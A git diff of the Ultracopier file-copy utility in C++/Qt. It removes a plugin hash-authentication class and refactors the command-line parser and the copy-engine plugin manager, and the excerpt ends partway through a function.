-rw-r--r--resources/Languages/en/flag.pngbin779 -> 741 bytes
-rw-r--r--resources/Languages/en/informations.xml8
-rw-r--r--resources/Languages/en/translation.ts1383
-rw-r--r--resources/bug-128x128.pngbin12933 -> 6042 bytes
-rw-r--r--resources/document-encrypt.pngbin561 -> 0 bytes
-rw-r--r--resources/moveDown.pngbin525 -> 466 bytes
-rw-r--r--resources/moveUp.pngbin484 -> 466 bytes
-rw-r--r--resources/none-128x128.pngbin11200 -> 4942 bytes
-rw-r--r--resources/options.pngbin660 -> 624 bytes
-rw-r--r--resources/qt.conf2
-rw-r--r--resources/resources-windows-qt-plugin.qrc5
-rw-r--r--resources/resources-windows.rc19
-rw-r--r--resources/supercopier-128x128.pngbin0 -> 5041 bytes
-rw-r--r--resources/supercopier-16x16.pngbin0 -> 148 bytes
-rw-r--r--resources/supercopier-all-in-one.icobin0 -> 786 bytes
-rw-r--r--resources/supercopier.icnsbin0 -> 32304 bytes
-rw-r--r--resources/supercopier.icobin0 -> 1078 bytes
-rw-r--r--resources/systray_Caught_Unix.pngbin798 -> 1093 bytes
-rw-r--r--resources/systray_Caught_Windows.pngbin563 -> 623 bytes
-rw-r--r--resources/systray_Semiuncaught_Unix.pngbin1007 -> 1296 bytes
-rw-r--r--resources/systray_Semiuncaught_Windows.pngbin664 -> 841 bytes
-rw-r--r--resources/systray_Uncaught_Unix.pngbin789 -> 754 bytes
-rw-r--r--resources/systray_Uncaught_Windows.pngbin551 -> 485 bytes
-rw-r--r--resources/ultracopier-128x128.pngbin7440 -> 4928 bytes
-rw-r--r--resources/ultracopier-16x16.pngbin672 -> 685 bytes
-rw-r--r--resources/ultracopier-all-in-one.icobin0 -> 2594 bytes
-rw-r--r--resources/ultracopier-resources.qrc (renamed from resources/resources.qrc)3
-rw-r--r--resources/ultracopier-resources_unix.qrc (renamed from resources/resources_unix.qrc)0
-rw-r--r--resources/ultracopier-resources_windows.qrc (renamed from resources/resources_windows.qrc)0
-rw-r--r--resources/ultracopier.exe.amd64.manifest14
-rw-r--r--resources/ultracopier.exe.x86.manifest14
-rw-r--r--resources/warning.pngbin0 -> 511 bytes
-rw-r--r--static.pro33
-rw-r--r--supercopier-static.pro6
-rw-r--r--tools/unit-tester/copyEngine.cpp1386
-rw-r--r--tools/unit-tester/copyEngine.h263
-rw-r--r--tools/unit-tester/copyEngineUnitTester.cpp104
-rw-r--r--tools/unit-tester/copyEngineUnitTester.h46
-rw-r--r--tools/unit-tester/main.cpp8
-rw-r--r--tools/unit-tester/unit-tester.pro42
-rw-r--r--ultracopier-all-in-one-direct.pro119
-rw-r--r--ultracopier-core.pro (renamed from ultracopier.pro)70
-rw-r--r--ultracopier-static.pro6
-rw-r--r--[-rwxr-xr-x]ultracopier.dox6
798 files changed, 94943 insertions, 74011 deletions
diff --git a/AuthPlugin.cpp b/AuthPlugin.cpp
deleted file mode 100644
index fcea81c..0000000
--- a/AuthPlugin.cpp
+++ /dev/null
@@ -1,123 +0,0 @@
-/** \file AuthPlugin.cpp
-\brief Define the authentication plugin
-\author alpha_one_x86
-\version 0.3
-\date 2010
-\copyright GNU Public License 3 (GPL3), see the file COPYING */
-
-#include <QDir>
-
-#include "AuthPlugin.h"
-
-AuthPlugin::AuthPlugin()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //load the overall instance
- stopIt=false;
- //set sem to 1
- sem.release();
- moveToThread(this);
-}
-
-AuthPlugin::~AuthPlugin()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- stop();
-}
-
-QStringList AuthPlugin::getFileList(const QString &path)
-{
- QStringList list;
- QDir dir(path);
- if(dir.exists())
- {
- foreach(QString dirName, dir.entryList(QDir::Dirs|QDir::NoDotAndDotDot))
- list<<getFileList(path+dirName+QDir::separator());
- foreach(QString fileName, dir.entryList(QDir::Files|QDir::NoDotAndDotDot))
- list<<path+fileName;
- }
- return list;
-}
-
-void AuthPlugin::run()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- sem.acquire();
- stopIt=false;
- foreach(QString basePath,readPath)
- {
- foreach(QString dirSub,searchPathPlugin)
- {
- QString pluginComposed=basePath+dirSub+QDir::separator();
- QDir dir(pluginComposed);
- if(dir.exists())
- {
- foreach(QString dirName, dir.entryList(QDir::Dirs|QDir::NoDotAndDotDot))
- {
- QString pluginBasePath = pluginComposed+dirName+QDir::separator();
- if(QFile::exists(pluginBasePath+"sign.key"))
- {
- QCryptographicHash folderHash(QCryptographicHash::Sha1);
- QStringList filesList=getFileList(pluginBasePath);
- if(stopIt)
- return;
- QFile keyDescriptor(pluginBasePath+"sign.key");
- if(keyDescriptor.open(QIODevice::ReadOnly))
- {
- if(stopIt)
- return;
- bool errorFound=false;
- foreach(QString fileToAddToCheckSum,filesList)
- if(fileToAddToCheckSum!=(pluginBasePath+"sign.key"))
- {
- QFile fileDescriptor(fileToAddToCheckSum);
- if(fileDescriptor.open(QIODevice::ReadOnly))
- {
- if(stopIt)
- return;
- folderHash.addData(fileDescriptor.readAll());
- fileDescriptor.close();
- if(stopIt)
- return;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Error at open this file: "+fileToAddToCheckSum+", error string: "+fileDescriptor.errorString());
- errorFound=true;
- break;
- }
- }
- if(!errorFound)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder: \""+pluginBasePath+"\", hash: "+QString(folderHash.result().toHex()));
- QByteArray key=keyDescriptor.readAll();
- if(key==folderHash.result())
- emit authentifiedPath(pluginBasePath);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"This plugin have wrong authentification");
- }
- keyDescriptor.close();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"file: \""+pluginBasePath+"sign.key\", unable to open the key file: "+keyDescriptor.errorString());
- }
- }
- }
- }
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop()");
- sem.release();
-}
-
-void AuthPlugin::loadSearchPath(const QStringList &readPath,const QStringList &searchPathPlugin)
-{
- this->readPath=readPath;
- this->searchPathPlugin=searchPathPlugin;
-}
-
-void AuthPlugin::stop()
-{
- stopIt=true;
- sem.acquire();
- sem.release();
-}
diff --git a/AuthPlugin.h b/AuthPlugin.h
deleted file mode 100644
index dda14ac..0000000
--- a/AuthPlugin.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/** \file AuthPlugin.h
-\brief Define the authentication plugin
-\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
-
-#ifndef AUTHPLUGIN_H
-#define AUTHPLUGIN_H
-
-#include <QThread>
-#include <QObject>
-#include <QSemaphore>
-#include <QStringList>
-#include <QString>
-#include <QCryptographicHash>
-
-#include "Environment.h"
-
-/** \brief allow authentify the plugin */
-class AuthPlugin : public QThread
-{
- Q_OBJECT
-public:
- AuthPlugin();
- ~AuthPlugin();
- /** \brief stop all action to close ultracopier */
- void stop();
- /** \brief add path to check
- \param readPath list of read place
- \param searchPathPlugin list of plugin place
- */
- void loadSearchPath(const QStringList &readPath,const QStringList &searchPathPlugin);
-protected:
- void run();
-private:
- bool stopIt;
- QSemaphore sem;
- QStringList readPath;
- QStringList searchPathPlugin;
- static QStringList getFileList(const QString &path);
-signals:
- void authentifiedPath(QString);
-};
-
-#endif // AUTHPLUGIN_H
diff --git a/CliParser.cpp b/CliParser.cpp
index 13aeac1..e2a9780 100644
--- a/CliParser.cpp
+++ b/CliParser.cpp
@@ -1,8 +1,6 @@
/** \file CliParser.cpp
\brief To group into one class, the CLI parsing
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "CliParser.h"
@@ -20,150 +18,165 @@ CliParser::CliParser(QObject *parent) :
*/
void CliParser::cli(const QStringList &ultracopierArguments,const bool &external,const bool &onlyCheck)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"ultracopierArguments: "+ultracopierArguments.join(";"));
- if(ultracopierArguments.size()==1)
- {
- if(external)
- QMessageBox::warning(NULL,tr("Warning"),tr("Ultracopier is already running, right click on its system tray icon (near the clock) to use it"));
- // else do nothing, is normal starting without arguements
- return;
- }
- if(ultracopierArguments.size()==2)
- {
- if(ultracopierArguments.last()=="quit" && external)
- {
- if(onlyCheck)
- return;
- QCoreApplication::exit();
- return;
- }
- if(ultracopierArguments.last()=="--help")
- {
- showHelp(false);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Command line not understand");
- showHelp();
- return;
- }
- if(ultracopierArguments.size()==3)
- {
- if(ultracopierArguments[1]=="Transfer-list")
- {
- if(onlyCheck)
- return;
- QFile transferFile(ultracopierArguments.last());
- if(transferFile.open(QIODevice::ReadOnly))
- {
- QString content;
- QByteArray data=transferFile.readLine(64);
- if(data.size()<=0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Problem at the reading, or file size is null"));
- QMessageBox::warning(NULL,tr("Warning"),tr("Problem at the reading, or file size is null"));
- transferFile.close();
- return;
- }
- content=QString::fromUtf8(data);
- content.remove('\n');
- QStringList transferListArguments=content.split(';');
- if(transferListArguments.size()!=4 || transferListArguments[0]!="Ultracopier-0.3" || transferListArguments[1]!="Transfer-list")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("This file is not supported transfer list"));
- QMessageBox::warning(NULL,tr("Warning"),tr("This file is not supported transfer list"));
- transferFile.close();
- return;
- }
- transferFile.close();
- emit newTransferList(transferListArguments[3],transferListArguments[2],ultracopierArguments.last());
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to open the transfer list file: %1").arg(transferFile.errorString()));
- QMessageBox::warning(NULL,tr("Warning"),tr("Unable to open the transfer list file"));
- return;
- }
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Command line not understand");
- showHelp();
- return;
- }
- if(ultracopierArguments.size()>3)
- {
- if(ultracopierArguments[1]=="Copy" || ultracopierArguments[1]=="cp")
- {
- if(onlyCheck)
- return;
- QStringList transferList=ultracopierArguments;
- transferList.removeFirst();
- transferList.removeFirst();
- if(transferList.last()=="?")
- {
- transferList.removeLast();
- emit newCopy(transferList);
- }
- else
- {
- QString destination=transferList.last();
- transferList.removeLast();
- emit newCopy(transferList,destination);
- }
- return;
- }
- if(ultracopierArguments[1]=="Move" || ultracopierArguments[1]=="mv")
- {
- if(onlyCheck)
- return;
- QStringList transferList=ultracopierArguments;
- transferList.removeFirst();
- transferList.removeFirst();
- if(transferList.last()=="?")
- {
- transferList.removeLast();
- emit newMove(transferList);
- }
- else
- {
- QString destination=transferList.last();
- transferList.removeLast();
- emit newMove(transferList,destination);
- }
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Command line not understand");
- showHelp();
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Command line not understand");
- showHelp();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("ultracopierArguments: ")+ultracopierArguments.join(QStringLiteral(";")));
+ if(ultracopierArguments.size()==1)
+ {
+ if(external)
+ QMessageBox::warning(NULL,tr("Warning"),tr("Ultracopier is already running, right click on its system tray icon (near the clock) to use it"));
+ // else do nothing, is normal starting without arguements
+ return;
+ }
+ else if(ultracopierArguments.size()==2)
+ {
+ if(ultracopierArguments.last()==QStringLiteral("quit"))
+ {
+ if(onlyCheck)
+ return;
+ QCoreApplication::exit();
+ return;
+ }
+ else if(ultracopierArguments.last()==QStringLiteral("--help"))
+ {
+ showHelp(false);
+ return;
+ }
+ else if(ultracopierArguments.last()==QStringLiteral("--options"))
+ {
+ emit showOptions();
+ return;
+ }
+ else if(ultracopierArguments.last().endsWith(QStringLiteral(".urc")))
+ {
+ tryLoadPlugin(ultracopierArguments.last());
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Command line not understand");
+ showHelp();
+ return;
+ }
+ else if(ultracopierArguments.size()==3)
+ {
+ if(ultracopierArguments.at(1)==QStringLiteral("Transfer-list"))
+ {
+ if(onlyCheck)
+ return;
+ QFile transferFile(ultracopierArguments.last());
+ if(transferFile.open(QIODevice::ReadOnly))
+ {
+ QString content;
+ QByteArray data=transferFile.readLine(64);
+ if(data.size()<=0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Problem reading file, or file size is 0"));
+ QMessageBox::warning(NULL,tr("Warning"),tr("Problem reading file, or file size is 0"));
+ transferFile.close();
+ return;
+ }
+ content=QString::fromUtf8(data);
+ QStringList transferListArguments=content.split(';');
+ transferListArguments[3].remove('\n');
+ if(transferListArguments.at(0)!="Ultracopier" ||
+ transferListArguments.at(1)!="Transfer-list" ||
+ (transferListArguments.at(2)!="Transfer" && transferListArguments.at(2)!="Copy" && transferListArguments.at(2)!="Move")
+ )
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("This file is not supported transfer list"));
+ QMessageBox::warning(NULL,tr("Warning"),tr("This file is not supported transfer list"));
+ transferFile.close();
+ return;
+ }
+ transferFile.close();
+ emit newTransferList(transferListArguments.at(3),transferListArguments.at(2),ultracopierArguments.last());
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QString("Unable to open the transfer list file: %1").arg(transferFile.errorString()));
+ QMessageBox::warning(NULL,tr("Warning"),tr("Unable to open the transfer list file"));
+ return;
+ }
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Command line not understand");
+ showHelp();
+ return;
+ }
+ else if(ultracopierArguments.size()>3)
+ {
+ if(ultracopierArguments.at(1)==QStringLiteral("Copy") || ultracopierArguments.at(1)==QStringLiteral("cp"))
+ {
+ if(onlyCheck)
+ return;
+ QStringList transferList=ultracopierArguments;
+ transferList.removeFirst();
+ transferList.removeFirst();
+ if(transferList.last()=="?")
+ {
+ transferList.removeLast();
+ emit newCopyWithoutDestination(transferList);
+ }
+ else
+ {
+ QString destination=transferList.last();
+ transferList.removeLast();
+ emit newCopy(transferList,destination);
+ }
+ return;
+ }
+ else if(ultracopierArguments.at(1)==QStringLiteral("Move") || ultracopierArguments.at(1)==QStringLiteral("mv"))
+ {
+ if(onlyCheck)
+ return;
+ QStringList transferList=ultracopierArguments;
+ transferList.removeFirst();
+ transferList.removeFirst();
+ if(transferList.last()=="?")
+ {
+ transferList.removeLast();
+ emit newMoveWithoutDestination(transferList);
+ }
+ else
+ {
+ QString destination=transferList.last();
+ transferList.removeLast();
+ emit newMove(transferList,destination);
+ }
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Command line not understand"));
+ showHelp();
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Command line not understand"));
+ showHelp();
}
/** \brief show the help
*\param incorrectArguments if the help is call because the arguments are wrong */
void CliParser::showHelp(const bool &incorrectArguments)
{
- if(incorrectArguments)
- qDebug() << "Incorrect arguments detected";
- qDebug() << tr("The arguments possibles are:");
- qDebug() << "--help : "+tr("To have this help");
- qDebug() << "quit : "+tr("To quit the other instance running (if have)");
- qDebug() << "Transfer-list [transfer list file] : "+tr("To pass transfer list to do");
- qDebug() << "cp [source [source2]] [destination] : "+tr("To copy sources separated by space to destination. If destination is \"?\", ultracopier will ask it to the user");
- qDebug() << "mv [source [source2]] [destination] : "+tr("Same as above, but with move");
+ if(incorrectArguments)
+ qDebug() << "Incorrect arguments detected";
+ qDebug() << tr("The arguments possible are:");
+ qDebug() << "--help : "+tr("To display this help");
+ qDebug() << "--options : "+tr("To display the options");
+ qDebug() << "quit : "+tr("To quit the other instances (if running)");
+ qDebug() << "Transfer-list [transfer list file] : "+tr("Open transfer list");
+ qDebug() << "cp [source [source2]] [destination] : "+tr("To copy sources to destination, separated by space. If destination is \"?\", ultracopier will ask the user");
+ qDebug() << "mv [source [source2]] [destination] : "+tr("To move sources to destination, separated by space. If destination is \"?\", ultracopier will ask the user");
- QString message;
- if(incorrectArguments)
- message+="<b>"+tr("Command line not understand")+"</b><br />\n";
- message+=+"<b></b>"+tr("The arguments possibles are:")+"\n<ul>";
- message+="<li><b>--help</b> : "+tr("To have this help")+"</li>\n";
- message+="<li><b>quit</b> : "+tr("To quit the other instance running (if have)")+"</li>\n";
- message+="<li><b>Transfer-list [transfer list file]</b> : "+tr("To pass transfer list to do")+"</li>\n";
- message+="<li><b>cp [source [source2]] [destination]</b> : "+tr("To copy sources separated by space to destination. If destination is \"?\", ultracopier will ask it to the user")+"</li>\n";
- message+="<li><b>mv [source [source2]] [destination]</b> : "+tr("Same as above, but with move")+"</li>\n";
- message+=+"</ul>";
- if(incorrectArguments)
- QMessageBox::warning(NULL,tr("Warning"),message);
- else
- QMessageBox::information(NULL,tr("Help"),message);
+ QString message;
+ if(incorrectArguments)
+ message+="<b>"+tr("Command not valid")+"</b><br />\n";
+ message+=+"<b></b>"+tr("The arguments possible are:")+"\n<ul>";
+ message+="<li><b>--help</b> : "+tr("To display this help")+"</li>\n";
+ message+="<li><b>--options</b> : "+tr("To display the options")+"</li>\n";
+ message+="<li><b>quit</b> : "+tr("To quit the other instances (if running)")+"</li>\n";
+ message+="<li><b>Transfer-list [transfer list file]</b> : "+tr("Open transfer list")+"</li>\n";
+ message+="<li><b>cp [source [source2]] [destination]</b> : "+tr("To copy sources to destination, separated by space. If destination is \"?\", ultracopier will ask the user")+"</li>\n";
+ message+="<li><b>mv [source [source2]] [destination]</b> : "+tr("To move sources to destination, separated by space. If destination is \"?\", ultracopier will ask the user")+"</li>\n";
+ message+=+"</ul>";
+ if(incorrectArguments)
+ QMessageBox::warning(NULL,tr("Warning"),message);
+ else
+ QMessageBox::information(NULL,tr("Help"),message);
}
diff --git a/CliParser.h b/CliParser.h
index 360f30e..a2f3617 100644
--- a/CliParser.h
+++ b/CliParser.h
@@ -1,8 +1,6 @@
/** \file CliParser.h
\brief To group into one class, the CLI parsing
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef CLIPARSER_H
@@ -18,30 +16,34 @@
/** \brief class to parse all command line options */
class CliParser : public QObject
{
- Q_OBJECT
+ Q_OBJECT
public:
- explicit CliParser(QObject *parent = 0);
+ explicit CliParser(QObject *parent = 0);
public slots:
- /** \brief method to parse the ultracopier arguments
- \param ultracopierArguments the argument list
- \param external true if the arguments come from other instance of ultracopier
- */
- void cli(const QStringList &ultracopierArguments,const bool &external,const bool &onlyCheck);
+ /** \brief method to parse the ultracopier arguments
+ \param ultracopierArguments the argument list
+ \param external true if the arguments come from other instance of ultracopier
+ */
+ void cli(const QStringList &ultracopierArguments,const bool &external,const bool &onlyCheck);
signals:
- /** new copy without destination have been pased by the CLI */
- void newCopy(QStringList sources);
- /** new copy with destination have been pased by the CLI */
- void newCopy(QStringList sources,QString destination);
- /** new move without destination have been pased by the CLI */
- void newMove(QStringList sources);
- /** new move with destination have been pased by the CLI */
- void newMove(QStringList sources,QString destination);
- /** new transfer list pased by the CLI */
- void newTransferList(QString engine,QString mode,QString file);
+ /** new copy without destination have been pased by the CLI */
+ void newCopyWithoutDestination(QStringList sources) const;
+ /** new copy with destination have been pased by the CLI */
+ void newCopy(QStringList sources,QString destination) const;
+ /** new move without destination have been pased by the CLI */
+ void newMoveWithoutDestination(QStringList sources) const;
+ /** new move with destination have been pased by the CLI */
+ void newMove(QStringList sources,QString destination) const;
+ /** new transfer list pased by the CLI */
+ void newTransferList(QString engine,QString mode,QString file) const;
+
+ void tryLoadPlugin(const QString &file) const;
+ /// \brief Show the help option
+ void showOptions() const;
private:
- /** \brief show the help
- *\param incorrectArguments if the help is call because the arguments are wrong */
- void showHelp(const bool &incorrectArguments=true);
+ /** \brief show the help
+ *\param incorrectArguments if the help is call because the arguments are wrong */
+ void showHelp(const bool &incorrectArguments=true);
};
#endif // CLIPARSER_H
diff --git a/CompilerInfo.h b/CompilerInfo.h
index 6cc079b..c4b4464 100644
--- a/CompilerInfo.h
+++ b/CompilerInfo.h
@@ -1,8 +1,6 @@
/** \file CompilerInfo.h
\brief Define the compiler info
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
/// \def COMPILERINFO the string to identify the compiler
diff --git a/CopyEngineManager.cpp b/CopyEngineManager.cpp
index 4808fc7..2355743 100644
--- a/CopyEngineManager.cpp
+++ b/CopyEngineManager.cpp
@@ -1,343 +1,381 @@
/** \file CopyEngineManager.cpp
\brief Define the copy engine manager
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
-#include <QDebug>
#include <QMessageBox>
#include "CopyEngineManager.h"
+#include "LanguagesManager.h"
+
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+#include "plugins/CopyEngine/Ultracopier/CopyEngineFactory.h"
+#endif
CopyEngineManager::CopyEngineManager(OptionDialog *optionDialog)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- connect(languages, SIGNAL(newLanguageLoaded(QString)), &facilityEngine,SLOT(retranslate()),Qt::DirectConnection);
- this->optionDialog=optionDialog;
- //setup the ui layout
- plugins->lockPluginListEdition();
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this,SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- connect(plugins,SIGNAL(pluginListingIsfinish()), this,SLOT(allPluginIsloaded()),Qt::QueuedConnection);
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_CopyEngine);
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
- //load the options
- isConnected=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ this->optionDialog=optionDialog;
+ //setup the ui layout
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ connect(this,&CopyEngineManager::previouslyPluginAdded, this,&CopyEngineManager::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginAdded, this,&CopyEngineManager::onePluginAdded,Qt::QueuedConnection);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeRemoved, this,&CopyEngineManager::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ connect(PluginsManager::pluginsManager,&PluginsManager::pluginListingIsfinish, this,&CopyEngineManager::allPluginIsloaded,Qt::QueuedConnection);
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPluginsByCategory(PluginType_CopyEngine);
+ foreach(PluginsAvailable currentPlugin,list)
+ emit previouslyPluginAdded(currentPlugin);
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+ //load the options
+ isConnected=false;
}
void CopyEngineManager::onePluginAdded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_CopyEngine)
- return;
- //setFileName
- QString pluginPath=plugin.path+PluginsManager::getResolvedPluginName("copyEngine");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+pluginPath);
- //search into loaded session
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).pluginPath==pluginPath)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("Engine already found!"));
- return;
- }
- index++;
- }
- CopyEnginePlugin newItem;
- newItem.pluginPath=pluginPath;
- newItem.path=plugin.path;
- newItem.name=plugin.name;
- newItem.pointer=new QPluginLoader(newItem.pluginPath);
- QObject *pluginObject = newItem.pointer->instance();
- if(pluginObject==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to load the plugin: %1").arg(newItem.pointer->errorString()));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to load the plugin for %1").arg(newItem.pluginPath));
- newItem.pointer->unload();
- return;
- }
- newItem.factory = qobject_cast<PluginInterface_CopyEngineFactory *>(pluginObject);
- //check if found
- index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).factory==newItem.factory)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Plugin already found"));
- newItem.pointer->unload();
- return;
- }
- index++;
- }
- if(newItem.factory==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to cast the plugin: %1").arg(newItem.pointer->errorString()));
- newItem.pointer->unload();
- return;
- }
- #ifdef ULTRACOPIER_DEBUG
- qRegisterMetaType<DebugLevel>("DebugLevel");
- connect(newItem.factory,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SLOT(debugInformation(DebugLevel,QString,QString,QString,int)),Qt::QueuedConnection);
- #endif // ULTRACOPIER_DEBUG
- newItem.options=new LocalPluginOptions("CopyEngine-"+newItem.name);
- newItem.factory->setResources(newItem.options,plugin.writablePath,plugin.path,&facilityEngine,ULTRACOPIER_VERSION_PORTABLE_BOOL);
- newItem.optionsWidget=newItem.factory->options();
- newItem.supportedProtocolsForTheSource=newItem.factory->supportedProtocolsForTheSource();
- newItem.supportedProtocolsForTheDestination=newItem.factory->supportedProtocolsForTheDestination();
- newItem.canDoOnlyCopy=newItem.factory->canDoOnlyCopy();
- newItem.type=newItem.factory->getCopyType();
- newItem.transferListOperation=newItem.factory->getTransferListOperation();
- optionDialog->addPluginOptionWidget(PluginType_CopyEngine,newItem.name,newItem.optionsWidget);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"plugin: "+newItem.name+" loaded, send options");
- //emit newCopyEngineOptions(plugin.path,newItem.name,newItem.optionsWidget);
- pluginList << newItem;
- connect(languages,SIGNAL(newLanguageLoaded(QString)),newItem.factory,SLOT(newLanguageLoaded()));
- if(plugins->allPluginHaveBeenLoaded())
- allPluginIsloaded();
- if(isConnected)
- emit addCopyEngine(newItem.name,newItem.canDoOnlyCopy);
+ if(plugin.category!=PluginType_CopyEngine)
+ return;
+ //setFileName
+ QString pluginPath=plugin.path+PluginsManager::getResolvedPluginName(QStringLiteral("copyEngine"));
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ /*more IO
+ if(!QFile(pluginPath).exists())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("The plugin binary is missing: ")+pluginPath);
+ return;
+ }*/
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start: ")+pluginPath);
+ //search into loaded session
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).pluginPath==pluginPath)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("Engine already found!"));
+ return;
+ }
+ index++;
+ }
+ CopyEnginePlugin newItem;
+ newItem.pluginPath=pluginPath;
+ newItem.path=plugin.path;
+ newItem.name=plugin.name;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ newItem.pointer=new QPluginLoader(newItem.pluginPath);
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ QObjectList objectList=QPluginLoader::staticInstances();
+ index=0;
+ QObject *pluginObject;
+ while(index<objectList.size())
+ {
+ pluginObject=objectList.at(index);
+ newItem.factory = qobject_cast<PluginInterface_CopyEngineFactory *>(pluginObject);
+ if(newItem.factory!=NULL)
+ break;
+ index++;
+ }
+ if(index==objectList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("static copy engine not found"));
+ return;
+ }
+ #else
+ QObject *pluginObject = newItem.pointer->instance();
+ if(pluginObject==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to load the plugin: %1").arg(newItem.pointer->errorString()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to load the plugin for %1").arg(newItem.pluginPath));
+ newItem.pointer->unload();
+ return;
+ }
+ newItem.factory = qobject_cast<PluginInterface_CopyEngineFactory *>(pluginObject);
+ //check if found
+ index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).factory==newItem.factory)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Plugin already found"));
+ newItem.pointer->unload();
+ return;
+ }
+ index++;
+ }
+ if(newItem.factory==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to cast the plugin: %1").arg(newItem.pointer->errorString()));
+ newItem.pointer->unload();
+ return;
+ }
+ #endif
+ #else
+ newItem.factory=new CopyEngineFactory();
+ #endif
+
+ #ifdef ULTRACOPIER_DEBUG
+ connect(newItem.factory,&PluginInterface_CopyEngineFactory::debugInformation,this,&CopyEngineManager::debugInformation,Qt::QueuedConnection);
+ #endif // ULTRACOPIER_DEBUG
+ newItem.options=new LocalPluginOptions(QStringLiteral("CopyEngine-")+newItem.name);
